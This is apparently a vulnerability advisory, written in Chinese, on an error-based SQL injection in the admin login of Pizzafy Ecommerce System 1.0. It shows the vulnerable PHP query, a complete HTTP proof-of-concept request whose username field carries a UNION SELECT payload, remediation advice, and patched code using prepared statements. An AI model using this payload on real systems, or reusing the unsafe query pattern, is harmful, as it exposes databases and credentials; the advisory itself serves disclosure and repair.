# 漏洞总结:Pizzafy Ecommerce System 1.0 SQL注入漏洞 ## 漏洞概述 - **漏洞类型**:基于错误的SQL注入(Error-Based SQL Injection) - **严重程度**:HIGH - **受影响版本**:Pizzafy Ecommerce System 1.0 - **漏洞位置**:`/pizzafy/admin/ajax.php?action=login` - **漏洞描述**:`username` 参数未正确过滤,允许攻击者注入恶意SQL命令。 ## 影响范围 | 影响类型 | 描述 | |------------------|------------------------------| | 机密性 | 完整数据库结构和用户凭证暴露 | | 完整性 | 未授权删除或修改记录 | | 可用性 | 大规模删除导致服务中断 | | 权限提升 | 会话劫持与管理员访问 | ## 修复方案 1. **使用预处理语句**:采用参数化查询防止SQL注入。 2. **输入验证**:对 `username` 和 `password` 参数进行严格过滤。 3. **数据库权限限制**:限制用户权限以减少潜在损害。 4. **监控与日志**:跟踪异常查询模式。 5. **安全测试**:定期渗透测试和代码审查。 6. **错误处理**:避免在响应中暴露数据库错误信息。 ## 漏洞利用代码(POC) ### 漏洞代码片段 ```php public function login() { $username = isset($_POST['username']) ? $_POST['username'] : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; $qry = $this->conn->query("SELECT * FROM users WHERE username = '$username'"); if (!$qry) { return $this->conn->error; } if ($qry && $qry->num_rows > 0) { $row = $qry->fetch_assoc(); if (password_verify($password, $row['password'])) { $_SESSION['login_id'] = $row['id']; $_SESSION['login_name'] = $row['name']; $_SESSION['login_type'] = $row['type']; return 1; } return json_encode($row); } else { return 2; } } ``` ### 利用请求示例 ```http POST /pizzafy/admin/ajax.php?action=login HTTP/1.1 Host: localhost Content-Length: 73 sec-ch-ua: Accept: */* Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/pizzafy/admin/login.php Accept-Encoding: gzip, deflate Accept-Language: pt-BR,pt;q=0.9,en-US;q=0.8,en;q=0.7 Cookie: PHPSESSID=04a312a9e4e4a1006bqunrp6 Connection: close username=-1' union select 1,2,database(),version(),5%23&password=password ``` ### 修复后代码 ```php public function login() { $username = isset($_POST['username']) ? $_POST['username'] : ''; $password = isset($_POST['password']) ? $_POST['password'] : ''; $stmt = $this->conn->prepare("SELECT * FROM users WHERE username = ?"); $stmt->bind_param("s", $username); $stmt->execute(); $qry = $stmt->get_result(); if (!$qry) { return $this->conn->error; } if ($qry && $qry->num_rows > 0) { $row = $qry->fetch_assoc(); if (password_verify($password, $row['password'])) { $_SESSION['login_id'] = $row['id']; $_SESSION['login_name'] = $row['name']; $_SESSION['login_type'] = $row['type']; return 1; } return 2; } else { return 2; } } ```